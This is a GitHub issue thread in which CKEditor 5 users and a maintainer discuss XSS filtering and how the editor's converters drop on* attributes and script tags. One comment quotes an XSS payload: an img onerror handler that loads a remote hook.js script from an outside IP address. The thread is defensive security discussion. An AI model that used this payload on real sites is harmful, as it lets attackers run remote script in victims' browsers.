We will need to start filtering XSS when we introduce the support for "free HTML editing"

[Reinmar]

Hey, I'd hate to sidetrack this discussion, but since this thread circles around whitelisting content, would the implementation allow for calling a sanitization of content before loading?
This type of XSS is probably hardest to pull off, but - depending on the exact use case - still very much possible. And rendering content like the one below (if it finds a hole in CSP rules) might be fatal
tryin do to sth <img src='' onerror='alert(\"pow\");' /><img src=\"\" onerror=\"(function(){var s = document.createElement('script');s.setAttribute('src', 'http://11.11.11.11:3000/hook.js');s.setAttribute('async', 'true');document.body.appendChild(s);})();\" />

Originally posted by @tomaszmys in #908 (comment)

[Sora2455]

Would removing all script tags and any attribute beginning with "on" even if white-listed do the trick? (I assume we aren't just going to HTML encode).

[Reinmar]

Hi @tomaszmys!

CKEditor 5 implements a custom data model and every piece of HTML which gets to that model needs to be handled by a specific converter. The same on the way out – every piece of the model is converted to the view by a specific piece of code. What does it mean for XSS attacks?

1. CKEditor will not render <img> with an onerror attribute regardless of how you'd try to insert into the content because there's no converter for such an attribute. The same is for <script> – it will always be rejected. No matter if you paste a content to the editor or insert it in any other way, that's not going to end up in the model and then in the view.
2. You can write your own converters for those attributes, but then it's totally up to you how to render those attributes/elements to the editing view and to the data. For instance, all on* attributes can be completely omited when rendering the content to the DOM for editing but they could still be rendered to the data (so you can save it in the database if you really need them). You can read more about the data and editing pipelines.
3. The only tricky thing could bethe src of <img> cause one would like it to be rendered in both views. Luckily, IIRC browsers don't support javascript: protocol anymore and they also were sanitizing the pasted content (the only source of untrasted data) so we didn't have issues with that in the past.

BTW, #908 wasn't about whitelisting content. #592 is about that. We'll certainly pay attention to not render on* attributes in the editing view once we'll be working on this. I'm not sure now, though, whether there were other possible vectors once you start considering all types of elements and attributes so we'll need to research that. Thanks for bringing this up.

[tomaszmys]

Hey Reinmar,

First off, my sicere apologies for getting back to this that late (lessons learned, I should really review spam folder more often).

I've brought this topic up after playing around with the editor for a while, and the example I've provided came directly from the tests I've been playing with. I was quite sure I was able to trigger a request after rendering of the <img> with an oneerror attribute, but it's equally probable I remembered that wrong (since a few weeks passed...). I'll check if it's still(?) reproducible on 12.1.0.

Thanks for pointing me to the #592 discussion - I'll keep following that thread, especially that whitelisting configuration seem to me like the only reasonable solution on the long run.
Until then, if this problem becomes more pressing for me, I'll look into writing a custom converter

[tlenex]

Might be useful to test all known cases: https://owasp.org/www-community/xss-filter-evasion-cheatsheet

[brunoinds]

Might be useful to test all known cases: https://owasp.org/www-community/xss-filter-evasion-cheatsheet

The current version of CKEditor 5 prevents XSS in all these cases?

[CKEditorBot]

There has been no activity on this issue for the past year. We've marked it as stale and will close it in 30 days. We understand it may be relevant, so if you're interested in the solution, leave a comment or reaction under this issue.

[CKEditorBot]

We've closed your issue due to inactivity over the last year. We understand that the issue may still be relevant. If so, feel free to open a new one (and link this issue to it).